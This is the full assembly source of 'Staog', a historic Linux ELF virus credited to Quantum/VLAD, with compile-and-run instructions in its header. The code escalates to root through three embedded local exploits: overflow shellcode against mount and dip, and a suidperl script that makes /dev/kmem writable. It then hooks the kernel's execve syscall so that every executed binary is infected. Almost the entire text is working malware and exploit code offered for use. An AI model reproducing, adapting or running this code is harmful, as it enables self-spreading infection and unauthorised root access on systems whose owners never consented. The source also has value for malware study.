# +-----------------------------------------------------------------+ # | S T A O G | # | | # | yo ho.. welcome to yet another attempt at the | # | impossible and improbable. This virus is a fully | # | resident linux elf infector. It will infect files | # | on execute regardless of who executed them. | # | It achieves this by hacking root via 3 separate | # | exploits and installing itself in the kernel. It leaves | # | no trace of itself in drop files or other noticable | # | locations but contains no stealth of any type. | # | | # | This is not a script virus. It is written in 100% | # | at&t style asm. To compile: | # | | # | gcc vircode.s -o vircode | # | strip vircode | # | | # | The filesize should be 4744 bytes. If not put the filesize | # | in the .long at 'filesize:' and recompile and strip. | # | Then execute to install. After installation the | # | generated binary will automatically be deleted. | # | | # | For some reason this virus will only work on ELF machines | # | running the 1.2.13 kernel. | # | | # | Q U A N T U M / V L A D | # +-----------------------------------------------------------------+ .text .global vircode vircode: # start of the virus pushl $0 # entry point pushl %ebp # setup stack frame movl %esp,%ebp pusha # save all regs movl $125,%eax # make cs writable movl $0x8000000,%ebx movl $0x4000,%ecx movl $7,%edx int $0x80 call recalc # dynamic relocation recalc: pop %edx subl $recalc,%edx leal vircode(%edx),%eax # store entrypoint movl %eax,4(%ebp) movl $11,%eax # are we already resident ? movl $0x666,%ebx int $0x80 cmp $0x667,%ebx jnz goresident jmp ret2host goresident: movl 12(%ebp),%ebx # open argv[0] xorl %ecx,%ecx movl $5,%eax int $0x80 or %eax,%eax js ohfuck movl %eax,%ebx movl $19,%eax # seek to vircode movl $vircode-main,%ecx subl filesize(%edx),%ecx pushl %edx movl $2,%edx int $0x80 popl %edx subl filesize(%edx),%esp movl $3,%eax # read in vircode movl %esp,%ecx pushl %edx movl filesize(%edx),%edx int $0x80 popl %edx movl $6,%eax # close argv int $0x80 movl $5,%eax # open tmp name for virus body leal virname(%edx),%ebx movl $577,%ecx pushl %edx movl $448,%edx int $0x80 popl %edx movl %eax,%ebx movl $4,%eax # write vircode movl %esp,%ecx pushl %edx movl filesize(%edx),%edx int $0x80 popl %edx movl $6,%eax # close tmp int $0x80 addl filesize(%edx),%esp movl $2,%eax # fork int $0x80 orl %eax,%eax jne ret2host movl $36,%eax # sync int $0x80 leal virname(%edx),%ebx # exec the virus leal virargs(%edx),%ecx movl %ebx,(%ecx) movl 8(%ebp),%eax shll $2,%eax leal 16(%ebp),%edx addl %eax,%edx movl $11,%eax int $0x80 movl $1,%eax int $0x80 # return to host ret2host: movl 12(%ebp),%ebx # open argv[0] xorl %ecx,%ecx movl $5,%eax int $0x80 or %eax,%eax js ohfuck movl %eax,%ebx movl %esp,%edi # allocate space for return frame subl $endstackexecode-stackexecode+50,%edi leal stackexecode(%edx),%esi # copy return frame to stack movl $endstackexecode-stackexecode,%ecx pushl %edi rep movsb movl $19,%eax # move to original bytes in argv[0] movl $vircode-main,%ecx pushl %edx movl $2,%edx int $0x80 popl %edx movl $3,%eax # ready to read in org bytes leal vircode(%edx),%ecx movl $main-vircode,%edx ret # goto return frame ohfuck: movl $1,%eax int $0x80 stackexecode: # executed on the stack int $0x80 # retreive original bytes movl $6,%eax int $0x80 # close file handle popa # restore all registers pop %ebp # restore stack ret # return to host endstackexecode: filesize: .long 4744 st: .long 0 virname: .string "/tmp/hookup" virargs: .long 0 .long 0 .string "Staog by Quantum / VLAD" .global main main: movl %esp,%ebp movl $11,%eax # are we already resident ? movl $0x666,%ebx int $0x80 cmp $0x667,%ebx jnz goresident1 jmp tmpend goresident1: movl $125,%eax # make cs writable movl $0x8000000,%ebx movl $0x4000,%ecx movl $7,%edx int $0x80 movl $130,%eax # get num kernel syms movl $0,%ebx int $0x80 shll $6,%eax subl %eax,%esp movl %esp,%esi pushl %eax movl %esi,%ebx # get kernel syms movl $130,%eax int $0x80 pushl %esi nextsym1: # find symbol movl $thissym1,%edi push %esi addl $4,%esi cmpb $95,(%esi) jnz notuscore incl %esi notuscore: cmpsl cmpsl pop %esi jz foundsym1 addl $64,%esi jmp nextsym1 foundsym1: movl (%esi),%esi movl %esi,current popl %esi pushl %esi nextsym2: # find symbol movl $thissym2,%edi push %esi addl $4,%esi cmpsl cmpsl pop %esi jz foundsym2 addl $64,%esi jmp nextsym2 foundsym2: movl (%esi),%esi movl %esi,kmalloc popl %esi xorl %ecx,%ecx nextsym: # find symbol movl $thissym,%edi movb $15,%cl push %esi addl $4,%esi rep cmpsb pop %esi jz foundsym addl $64,%esi jmp nextsym foundsym: movl (%esi),%esi pop %eax addl %eax,%esp movl %esi,syscalltable xorl %edi,%edi opendevkmem: movl $devkmem,%ebx # open /dev/kmem movl $2,%ecx call openfile orl %eax,%eax js haxorroot movl %eax,%ebx leal 44(%esi),%ecx # lseek to sys_call_table[SYS_execve] call seekfilestart movl $orgexecve,%ecx # read in execve pointer movl $4,%edx call readfile leal 488(%esi),%ecx # seek to sys_call_table[SYS_uname] call seekfilestart movl $taskptr,%ecx # read in sys_call_table[SYS_uname] movl $4,%edx call readfile movl taskptr,%ecx # seek to uname code call seekfilestart subl $endhookspace-hookspace,%esp movl %esp,%ecx # read in org uname bytes movl $endhookspace-hookspace,%edx call readfile movl taskptr,%ecx # seek to uname code call seekfilestart movl filesize,%eax # amount to alloc addl $virend-vircode,%eax movl %eax,virendvircodefilesize movl $hookspace,%ecx # write our code movl $endhookspace-hookspace,%edx call writefile movl $122,%eax # call uname to alloc some space int $0x80 movl %eax,codeto movl taskptr,%ecx # seek to uname code call seekfilestart movl %esp,%ecx # write org uname bytes movl $endhookspace-hookspace,%edx call writefile addl $endhookspace-hookspace,%esp subl $aftreturn-vircode,orgexecve movl codeto,%ecx # seek to buffer subl %ecx,orgexecve call seekfilestart movl $vircode,%ecx # write vircode movl $virend-vircode,%edx call writefile subl filesize,%esp # read in virus pushl %ebx movl 8(%ebp),%ebx movl (%ebx),%ebx xorl %ecx,%ecx call openfile movl %eax,%ebx leal 4(%esp),%ecx movl filesize,%edx call readfile call closefile popl %ebx movl %esp,%ecx # write virus to end of alloc space movl filesize,%edx call writefile addl filesize,%esp leal 44(%esi),%ecx # seek to sys_call_table[SYS_execve] call seekfilestart addl $newexecve-vircode,codeto movl $codeto,%ecx # write pointer to execve handler movl $4,%edx call writefile call closefile # close file tmpend: movl 8(%ebp),%ebx # rm argv[0] movl (%ebx),%ebx call rmfile call exit openfile: movl $5,%eax int $0x80 ret closefile: movl $6,%eax int $0x80 ret readfile: movl $3,%eax int $0x80 ret writefile: movl $4,%eax int $0x80 ret seekfilestart: movl $19,%eax xorl %edx,%edx int $0x80 ret rmfile: movl $10,%eax int $0x80 ret exit: xorl %eax,%eax incl %eax int $0x80 waitchild: movl $7,%eax movl $-1,%ebx movl $st,%ecx xorl %edx,%edx int $0x80 ret haxorroot: # this routine makes /dev/kmem a+wr cmpl $3,%edi jz ret2host movl $2,%eax # fork() int $0x80 orl %eax,%eax # are we the child or parent jnz parent xorl %ebx,%ebx # close stdin call closefile movl $1,%ebx # close stdout call closefile movl $2,%ebx # close stderr call closefile cmpl $1,%edi # try sploit 1 jz sploit1 cmpl $2,%edi # try sploit 2 jz sploit2 movl $2,%eax # try sploit 3 int $0x80 # fork orl %eax,%eax jne notc1 movl $2,%eax # fork int $0x80 orl %eax,%eax jne notc2 movl $4,r jmp allgo notc2: call waitchild # wait for child movl $8,r jmp allgo notc1: call waitchild # wait for child movl $0,r allgo: subl $1029,%esp # allocate space for egg mov %esp,%edi movl $1028-60,%ecx subl r,%ecx movb $0x90,%al # add nops to egg rep stosb movl $execshell,%esi # add shell to egg movl $60,%ecx rep movsb movl %esp,%eax # add return address addl $1200,%eax stosl xorl %eax,%eax stosb movl $11,%eax # execute mount sploit movl $mountpath,%ebx movl $args,%ecx movl %esp,4(%ecx) movl $env,%edx int $0x80 call exit execshell: .string "\xeb\x21\x5b\x31\xc9\x66\xb9\xff\x01\x31\xc0\x88\x43\x09\x88\x43\x14\xb0\x0f\xcd\x80\x31\xc0\xb0\x0a\x8d\x5b\x0a\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xda\xff\xff\xff/dev/kmemx/etc/mtab~" mountpath: .string "/sbin/mount" r: .long 0 args: .long mountpath .long 0 .long 0 env: .long 0 dipname: .string "/tmp/t.dip" execthis: .string "/bin/sh" parm1: .string "-c" pathdip: .string "/sbin/dip /tmp/t.dip" args1: .long execthis .long parm1 .long pathdip .long 0 chkey: .string "chatkey " hsname: .string "/tmp/hs" hsdat: .string "#!/bin/sh\nchmod 666 /dev/kmem\n" shell: .string "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs" sploit1: subl $1024,%esp # allocate space for egg movl %esp,%edi movl $chkey,%esi # add "chatkey " to egg movsl movsl movl %esp,%eax subl $224,%eax # add return address to egg movl $34,%ecx rep stosl movl $512-144,%ecx # add nops to egg movb $0x90,%al rep stosb movl $shell,%esi # add shell to egg movl $50,%ecx rep movsb movl $10,%al # add \n to egg stosb movl $dipname,%ebx # create dip script movl $577,%ecx movl $448,%edx call openfile movl %eax,%ebx movl %esp,%ecx pushl %edx movl $562,%edx # write script code call writefile popl %edx call closefile movl $hsname,%ebx # create shell file to execute movl $577,%ecx movl $448,%edx call openfile movl %eax,%ebx movl $hsdat,%ecx movl $30,%edx call writefile # write shell contents call closefile movl $2,%eax # fork int $0x80 orl %eax,%eax jne p1 movl $execthis,%ebx # execute sploit movl $args1,%ecx movl 12(%ebp),%edx movl $11,%eax int $0x80 call exit p1: call waitchild # wait for sploit to finish movl $dipname,%ebx # remove dip script call rmfile movl $hsname,%ebx # remove shell script call rmfile call exit perlname: .string "/tmp/b" perldat: .string "#!/usr/bin/suidperl -U\n$ENV{PATH}=\"/bin:/usr/bin\";\n$>=0;$<=0;\nexec(\"chmod 666 /dev/kmem\");\n" perlargs: .long perlname perlenv: .long 0 sploit2: movl $perlname,%ebx # create perl script movl $577,%ecx movl $488,%edx call openfile movl %eax,%ebx movl $perldat,%ecx # write perl contents movl $91,%edx call writefile movl $94,%eax movl $2496,%ecx int $0x80 call closefile movl $2,%eax # fork int $0x80 orl %eax,%eax jne p2 movl $11,%eax # execute the sploit movl $perlname,%ebx movl $perlargs,%ecx movl $perlenv,%edx int $0x80 call exit p2: call waitchild # wait for the child movl $perlname,%ebx # remove perl script call rmfile call exit parent: incl %edi call waitchild # wait for child process to finish jmp opendevkmem taskptr: .long 0 otaskptr: .long 0 codeto: .long 0 thissym: .string "sys_call_table" thissym1: .string "current" thissym2: .string "kmalloc" devkmem: .string "/dev/kmem" e_entry: .long 0x666 infect: # opens and infects the file in %ebx pushl $2 # open %ebx pushl %ebx call 5*4(%ebp) popl %ebx popl %ebx orl %eax,%eax # make sure it's opened js e1 movl %eax,%ebx push %fs push %ds pop %fs leal e_entry(%edi),%ecx # read in elf hdr marker movl $4,%edx pushl %edx pushl %ecx pushl %ebx call 3*4(%ebp) addl $12,%esp cmpl $0x464c457f,e_entry(%edi) # make sure it's elf jnz e2 pushl $0 # seek to entrypoint storage pushl $24 pushl %ebx call 19*4(%ebp) addl $12,%esp leal e_entry(%edi),%ecx # read the entrypoint pushl $4 pushl %ecx pushl %ebx call 3*4(%ebp) addl $12,%esp andl $0xffff,e_entry(%edi) movl e_entry(%edi),%ecx # seek to entrypoint pushl $0 pushl %ecx pushl %ebx call 19*4(%ebp) popl %eax popl %eax popl %eax subl $main-vircode,%esp # allocate space on the stack movl %esp,%esi pushl $main-vircode # read in host bytes pushl %esi pushl %ebx call 3*4(%ebp) addl $12,%esp movl vircode(%edi),%eax cmpl %eax,(%esi) # check if file infected jz e3 pushl $2 # seek to end of file pushl $0 pushl %ebx call 19*4(%ebp) addl $12,%esp movl filesize(%edi),%eax pushl %eax leal virend(%edi),%eax # write virus body to end pushl %eax pushl %ebx call 4*4(%ebp) addl $12,%esp pushl $2 # seek to end of file pushl $0 pushl %ebx call 19*4(%ebp) addl $12,%esp pushl $main-vircode # write org bytes pushl %esi pushl %ebx call 4*4(%ebp) addl $12,%esp movl e_entry(%edi),%ecx # seek to entrypoint pushl $0 pushl %ecx pushl %ebx call 19*4(%ebp) addl $12,%esp leal vircode(%edi),%ecx # write virus pushl $main-vircode pushl %ecx pushl %ebx call 4*4(%ebp) addl $12,%esp e3: addl $main-vircode,%esp # deallocate space off stack e2: pop %fs pushl %ebx call 6*4(%ebp) # close file popl %eax call 36*4(%ebp) # sync e1: ret uidsave: .word 0 euidsave: .word 0 suidsave: .word 0 fsuidsave: .word 0 gidsave: .word 0 egidsave: .word 0 sgidsave: .word 0 fsgidsave: .word 0 saveuids: movl current(%edi),%eax movl (%eax),%eax leal 0x310(%eax),%esi pushl %edi leal uidsave(%edi),%edi movl $4,%ecx rep movsl popl %edi ret makeroot: movl current(%edi),%eax movl (%eax),%eax pushl %edi leal 0x310(%eax),%edi xorl %eax,%eax movl $4,%ecx rep stosl popl %edi ret loaduids: movl current(%edi),%eax movl (%eax),%eax leal uidsave(%edi),%esi pushl %edi leal 0x310(%eax),%edi movl $4,%ecx rep movsl popl %edi ret .global newexecve newexecve: pushl %ebp movl %esp,%ebp pushl %ebx movl 8(%ebp),%ebx # get the filename to infect pushal cmpl $0x666,%ebx # is this our service routine ? jnz notserv popal incl 8(%ebp) # yes..inc the pointer and return popl %ebx popl %ebp ret notserv: call ring0recalc # no.. calculate ring 0 delta ring0recalc: popl %edi subl $ring0recalc,%edi movl syscalltable(%edi),%ebp # put *sys_call_table in %ebp call saveuids # save the callers uid/euid... call makeroot # make the caller root call infect # infect the file call loaduids # restore the callers uid/euid... hookoff: popal popl %ebx popl %ebp .byte 0xe9 # goto original execve orgexecve: .long 0 aftreturn: syscalltable: .long 0 current: .long 0 .global hookspace hookspace: push %ebp pushl %ebx pushl %ecx pushl %edx movl %esp,%ebp pushl $3 .byte 0x68 virendvircodefilesize: .long 0 .byte 0xb8 # movl $xxx,%eax kmalloc: .long 0 call %eax movl %ebp,%esp popl %edx popl %ecx popl %ebx popl %ebp ret .global endhookspace endhookspace: .global virend virend: